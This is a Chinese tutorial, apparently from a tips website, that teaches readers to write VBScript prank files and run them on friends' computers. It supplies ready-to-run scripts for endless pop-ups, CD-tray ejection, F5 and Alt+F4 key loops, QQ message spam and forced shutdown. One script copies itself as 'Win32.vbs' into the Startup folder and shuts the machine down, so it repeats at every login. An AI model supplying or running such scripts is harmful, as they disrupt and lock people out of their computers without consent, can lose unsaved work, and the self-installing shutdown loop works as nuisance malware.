新手教学(大神请跳到第五步):编写vbs有多简单?新建“文本文档”,输入msgbox '一大波病毒正在靠近...' ,点击文件->另存为->重命名为“代码.vbs”。文件名不重要,重要的是后缀要是“.vbs”。
双击保存的文件:代码.vbs,即弹出一个对话框。记下这段小小的代码,去同学家里恶搞吧。当然你还可以输入其他有趣的文字。
当然,如此恶搞还是不够的。那就来一个无限循环吧,输入图中代码另存为vbs格式。双击打开。此时,会弹出提示对话框,点击确定和关闭按钮之后,再一次弹出窗口,如此循环,无法正常关闭。
那么到底要如何才能关闭呢?打开任务管理器结束进程“wscript.exe”即可
到此新手教学完毕,下面进入大神课堂教学。无限弹出光驱:------------------------------------------------set wmp=createobject('wmplayer.ocx') set cd=wmp.cdromcollection.item(0) do cd.eject loop ------------------------------------------------
无尽语音报数:无限语音从1数到无限大。------------------------------------------------Set s = CreateObject('sapi.spvoice') i=0 do s.speak i i=i+1 loop ------------------------------------------------
无尽刷新:慎用,如此刷新打开任务管理器都难,只能拔掉电源。------------------------------------------------set ws=createobject('wscript.shell') do ws.sendkeys '{f5}' loop ------------------------------------------------
修改注册表:------------------------------------------------on error resume next set wr=createobject('scripting.filesystemobject') set ws=createobject('wscript.shell') set f = wr.getfile(wscript.scriptfullname) q=ws.regread('HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup') if not f='Win32.vbs' then wr.copyfile f,q&'\Win32.vbs',true ws.run'shutdown -p',vbhide------------------------------------------------
QQ信息骚扰恶搞:打开好友的聊天对话框,然后记下聊天对话框的名称(如图:小敏),把下面代码里的小敏替换一下。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。------------------------------------------------On Error Resume Next Dim wsh,ye set wsh=createobject('wscript.shell') for i=1 to 10 wscript.sleep 700 wsh.AppActivate('小敏') wsh.sendKeys '^v' wsh.sendKeys i wsh.sendKeys '%s' next wscript.quit------------------------------------------------
直接关机:------------------------------------------------dim WSHshell set WSHshell = wscript.createobject('wscript.shell') WSHshell.run 'shutdown -f -s -t 00',0 ,true------------------------------------------------
不断按下alt+f4 :打开任何程序都关掉------------------------------------------------dim WSHshell set WSHshell = wscript.createobject('wscript.shell') dowscript.sleep 2500 WSHshell.SendKeys '%{F4}' loop ------------------------------------------------
开玩笑也得有个度,凡事都不要太过。上面的代码的尺度还不算很大,大家可以玩玩。
如你觉得此的经验不错,可以点击下面的“大拇指”给予支持,也可以点击下面的“五角星”来收藏。觉得可以帮助朋友,还可点击右边角的“双箭头”分享,如果你也喜欢计算机网络技巧,可以点击关注哦!